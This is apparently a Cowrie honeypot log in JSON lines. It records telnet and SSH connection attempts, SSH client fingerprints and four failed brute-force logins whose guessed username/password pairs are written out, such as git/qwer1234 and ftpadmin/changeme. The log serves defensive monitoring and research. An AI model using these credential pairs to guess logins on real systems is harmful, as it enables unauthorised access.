{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58880,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e55352bacc6","protocol":"telnet","message":"New connection: 137.184.155.248:58880 (10.17.0.5:23) [session: 4e55352bacc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:10.495192Z"}
{"eventid":"cowrie.session.closed","duration":45.77675938606262,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:14.891318Z","src_ip":"137.184.155.248","session":"99f5ad8f42b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":49154,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6e75fda93f8","protocol":"telnet","message":"New connection: 137.184.155.248:49154 (10.17.0.5:23) [session: b6e75fda93f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:16.273411Z"}
{"eventid":"cowrie.session.closed","duration":50.52597165107727,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:33.977502Z","src_ip":"137.184.155.248","session":"ce2b8e25c3ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58628,"dst_ip":"10.17.0.5","dst_port":23,"session":"06f40e2456b0","protocol":"telnet","message":"New connection: 137.184.155.248:58628 (10.17.0.5:23) [session: 06f40e2456b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:34.291089Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":34816,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6cd76f6ca03","protocol":"ssh","message":"New connection: 190.244.39.232:34816 (10.17.0.5:22) [session: a6cd76f6ca03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:34.585947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:34.590703Z","src_ip":"190.244.39.232","session":"a6cd76f6ca03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:34.799379Z","src_ip":"190.244.39.232","session":"a6cd76f6ca03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev!@#","message":"login attempt [dev/dev!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:35.656789Z","src_ip":"190.244.39.232","session":"a6cd76f6ca03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:36.867453Z","src_ip":"190.244.39.232","session":"a6cd76f6ca03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58638,"dst_ip":"10.17.0.5","dst_port":23,"session":"39138ef13963","protocol":"telnet","message":"New connection: 137.184.155.248:58638 (10.17.0.5:23) [session: 39138ef13963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:37.617195Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58648,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f34e6a31e49","protocol":"telnet","message":"New connection: 137.184.155.248:58648 (10.17.0.5:23) [session: 3f34e6a31e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:38.353196Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58662,"dst_ip":"10.17.0.5","dst_port":23,"session":"289a4109d2ec","protocol":"telnet","message":"New connection: 137.184.155.248:58662 (10.17.0.5:23) [session: 289a4109d2ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:41.691163Z"}
{"eventid":"cowrie.session.closed","duration":44.70420575141907,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:42.649390Z","src_ip":"137.184.155.248","session":"bc4a3cee5e99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":58226,"dst_ip":"10.17.0.5","dst_port":22,"session":"861c3f2d0cf8","protocol":"ssh","message":"New connection: 112.151.178.49:58226 (10.17.0.5:22) [session: 861c3f2d0cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:44.799788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:44.809048Z","src_ip":"112.151.178.49","session":"861c3f2d0cf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:45.011651Z","src_ip":"112.151.178.49","session":"861c3f2d0cf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ncuser","password":"ncuser","message":"login attempt [ncuser/ncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:45.853552Z","src_ip":"112.151.178.49","session":"861c3f2d0cf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:47.058599Z","src_ip":"112.151.178.49","session":"861c3f2d0cf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.88473844528198,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:48.713145Z","src_ip":"137.184.155.248","session":"4d07aefa8824","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.308058738708496,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:49.308758Z","src_ip":"185.26.126.47","session":"297dddfb27f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.645458698272705,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:53.421154Z","src_ip":"137.184.155.248","session":"acc7f67f9bbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.86596179008484,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:57.510050Z","src_ip":"137.184.155.248","session":"803fc28e2cf4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.46680045127869,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:58.740073Z","src_ip":"137.184.155.248","session":"b6e75fda93f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.977335929870605,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:59.472421Z","src_ip":"137.184.155.248","session":"4e55352bacc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":49352,"dst_ip":"10.17.0.5","dst_port":23,"session":"079b85f29dff","protocol":"telnet","message":"New connection: 137.184.155.248:49352 (10.17.0.5:23) [session: 079b85f29dff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:00:01.262801Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":40482,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0e5fe45a674","protocol":"telnet","message":"New connection: 137.184.155.248:40482 (10.17.0.5:23) [session: e0e5fe45a674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:00:08.675349Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":36720,"dst_ip":"10.17.0.5","dst_port":22,"session":"b19d42c39e21","protocol":"ssh","message":"New connection: 58.186.20.101:36720 (10.17.0.5:22) [session: b19d42c39e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:00:08.799151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:00:08.805086Z","src_ip":"58.186.20.101","session":"b19d42c39e21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:00:09.070557Z","src_ip":"58.186.20.101","session":"b19d42c39e21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"qwer1234","message":"login attempt [git/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:00:10.171520Z","src_ip":"58.186.20.101","session":"b19d42c39e21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.015162229537964,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:00:10.690375Z","src_ip":"137.184.155.248","session":"e0e5fe45a674","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:00:11.439784Z","src_ip":"58.186.20.101","session":"b19d42c39e21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":53940,"dst_ip":"10.17.0.5","dst_port":23,"session":"60994e15fd87","protocol":"telnet","message":"New connection: 137.184.155.248:53940 (10.17.0.5:23) [session: 60994e15fd87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:00:13.181903Z"}
{"eventid":"cowrie.session.closed","duration":5.4090306758880615,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:00:18.590822Z","src_ip":"137.184.155.248","session":"60994e15fd87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.27561640739441,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:00:22.566609Z","src_ip":"137.184.155.248","session":"06f40e2456b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.3135871887207,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:00:24.004664Z","src_ip":"137.184.155.248","session":"289a4109d2ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":34090,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa3af8b22424","protocol":"telnet","message":"New connection: 137.184.155.248:34090 (10.17.0.5:23) [session: fa3af8b22424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:00:26.279148Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":34092,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a6dc40a9251","protocol":"telnet","message":"New connection: 137.184.155.248:34092 (10.17.0.5:23) [session: 1a6dc40a9251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:00:26.909890Z"}
{"eventid":"cowrie.session.closed","duration":49.72958588600159,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:00:27.346669Z","src_ip":"137.184.155.248","session":"39138ef13963","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":34108,"dst_ip":"10.17.0.5","dst_port":23,"session":"295ce1b1f020","protocol":"telnet","message":"New connection: 137.184.155.248:34108 (10.17.0.5:23) [session: 295ce1b1f020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:00:27.364137Z"}
{"eventid":"cowrie.session.closed","duration":49.03080940246582,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:00:27.383934Z","src_ip":"137.184.155.248","session":"3f34e6a31e49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":41844,"dst_ip":"10.17.0.5","dst_port":23,"session":"58fcef3def2b","protocol":"telnet","message":"New connection: 137.184.155.248:41844 (10.17.0.5:23) [session: 58fcef3def2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:00:42.334756Z"}
{"eventid":"cowrie.session.closed","duration":46.120240449905396,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:00:47.382895Z","src_ip":"137.184.155.248","session":"079b85f29dff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":60660,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc2ab6e306c8","protocol":"telnet","message":"New connection: 137.184.155.248:60660 (10.17.0.5:23) [session: cc2ab6e306c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:00:54.507698Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":34970,"dst_ip":"10.17.0.5","dst_port":23,"session":"631e1eecfa3b","protocol":"telnet","message":"New connection: 137.184.155.248:34970 (10.17.0.5:23) [session: 631e1eecfa3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:02.616538Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":34974,"dst_ip":"10.17.0.5","dst_port":23,"session":"2eafbfc11c59","protocol":"telnet","message":"New connection: 137.184.155.248:34974 (10.17.0.5:23) [session: 2eafbfc11c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:04.363001Z"}
{"eventid":"cowrie.session.closed","duration":120.00332498550415,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:05.111981Z","src_ip":"189.219.54.254","session":"f3b4d11035ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00119280815125,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:05.186655Z","src_ip":"189.219.54.254","session":"2fb7c258e69e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.219.54.254","src_port":51792,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bc685a8233a","protocol":"telnet","message":"New connection: 189.219.54.254:51792 (10.17.0.5:23) [session: 4bc685a8233a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:05.570098Z"}
{"eventid":"cowrie.session.closed","duration":42.64240550994873,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:09.552217Z","src_ip":"137.184.155.248","session":"1a6dc40a9251","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.180400371551514,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:15.459431Z","src_ip":"137.184.155.248","session":"fa3af8b22424","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":40208,"dst_ip":"10.17.0.5","dst_port":23,"session":"b22d9062a817","protocol":"telnet","message":"New connection: 137.184.155.248:40208 (10.17.0.5:23) [session: b22d9062a817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:16.620788Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":40212,"dst_ip":"10.17.0.5","dst_port":23,"session":"11149dbe44d5","protocol":"telnet","message":"New connection: 137.184.155.248:40212 (10.17.0.5:23) [session: 11149dbe44d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:19.226108Z"}
{"eventid":"cowrie.session.closed","duration":52.21261191368103,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:19.576599Z","src_ip":"137.184.155.248","session":"295ce1b1f020","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.376955509185791,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:20.997607Z","src_ip":"137.184.155.248","session":"b22d9062a817","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.71810054779053,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:30.052737Z","src_ip":"137.184.155.248","session":"58fcef3def2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":49482,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd553fd8dd23","protocol":"ssh","message":"New connection: 148.230.169.229:49482 (10.17.0.5:22) [session: bd553fd8dd23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:32.051519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:32.056264Z","src_ip":"148.230.169.229","session":"bd553fd8dd23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:32.121799Z","src_ip":"148.230.169.229","session":"bd553fd8dd23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"changeme","message":"login attempt [ftpadmin/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:32.412959Z","src_ip":"148.230.169.229","session":"bd553fd8dd23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.60.245.118","src_port":34440,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcc13d6e54a8","protocol":"ssh","message":"New connection: 217.60.245.118:34440 (10.17.0.5:22) [session: dcc13d6e54a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:33.839859Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:33.844901Z","src_ip":"217.60.245.118","session":"dcc13d6e54a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:33.948229Z","src_ip":"148.230.169.229","session":"bd553fd8dd23","protocol":"ssh"}
